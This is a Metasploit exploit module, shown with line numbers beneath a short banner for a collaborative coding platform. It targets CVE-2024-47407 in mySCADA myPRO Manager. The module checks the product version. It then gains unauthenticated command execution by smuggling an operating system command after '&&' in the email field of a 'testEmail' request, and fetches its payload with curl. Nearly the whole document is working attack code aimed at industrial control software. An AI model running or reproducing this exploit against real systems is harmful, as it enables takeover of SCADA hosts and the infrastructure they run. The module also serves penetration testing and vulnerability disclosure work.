Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.

1
class MetasploitModule < Msf::Exploit::Remote
2
  Rank = ExcellentRanking
3
  include Msf::Exploit::Remote::HttpClient
4
  prepend Msf::Exploit::Remote::AutoCheck
5

6
  def initialize(info = {})
7
    super(
8
      update_info(
9
        info,
10
        'Name' => 'mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)',
11
        'Description' => %q{
12
          Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.
13
          The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.
14
        },
15
        'License' => MSF_LICENSE,
16
        'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
17
        'References' => [
18
          [ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07'],
19
          [ 'CVE', '2024-47407']
20
        ],
21
        'DisclosureDate' => '2024-11-21',
22
        'DefaultOptions' => {
23
          'RPORT' => 34022,
24
          'SSL' => 'False'
25
        },
26
        'Platform' => 'win',
27
        'Arch' => [ ARCH_CMD ],
28
        'Targets' => [
29
          [
30
            'Windows_Fetch',
31
            {
32
              'Arch' => [ ARCH_CMD ],
33
              'Platform' => 'win',
34
              'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
35
              'Type' => :win_fetch
36
            }
37
          ]
38
        ],
39
        'DefaultTarget' => 0,
40

41
        'Notes' => {
42
          'Stability' => [CRASH_SAFE],
43
          'Reliability' => [REPEATABLE_SESSION],
44
          'SideEffects' => [IOC_IN_LOGS]
45
        }
46
      )
47
    )
48

49
    register_options(
50
      [
51
        OptString.new(
52
          'TARGETURI',
53
          [ true, 'The URI for the MyPRO Manager web interface', '/' ]
54
        )
55
      ]
56
    )
57
  end
58

59
  def check
60
    begin
61
      res = send_request_cgi({
62
        'method' => 'GET',
63
        'uri' => normalize_uri(target_uri.path, 'assets/index-Aup6jYxO.js')
64
      })
65
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
66
      return CheckCode::Unknown
67
    end
68

69
    if res.to_s =~ /const v="([^"]+)"/
70
      version = ::Regexp.last_match(1)
71
      vprint_status('Version retrieved: ' + version)
72
      if Rex::Version.new(version) <= Rex::Version.new('1.2')
73
        return CheckCode::Appears
74
      end
75

76
      return CheckCode::Safe
77
    end
78
    return CheckCode::Unknown
79
  end
80

81
  def exploit
82
    execute_command(payload.encoded)
83
  end
84

85
  def execute_command(cmd)
86
    exec_mypro_mgr(cmd)
87
    print_status('Exploit finished, check thy shell.')
88
  end
89

90
  def exec_mypro_mgr(cmd)
91
    post_data = {
92
      'command' => 'testEmail',
93
      'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #"
94
    }
95

96
    res = send_request_cgi({
97
      'method' => 'POST',
98
      'ctype' => 'application/json',
99
      'data' => JSON.generate(post_data),
100
      'uri' => normalize_uri(target_uri.path, 'get')
101
    })
102

103
    if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout.
104
      print_good('Command successfully executed, check your shell.')
105
    else
106
      print_error('Unexpected or no reply received.')
107
    end
108
  end
109

110
end
111

112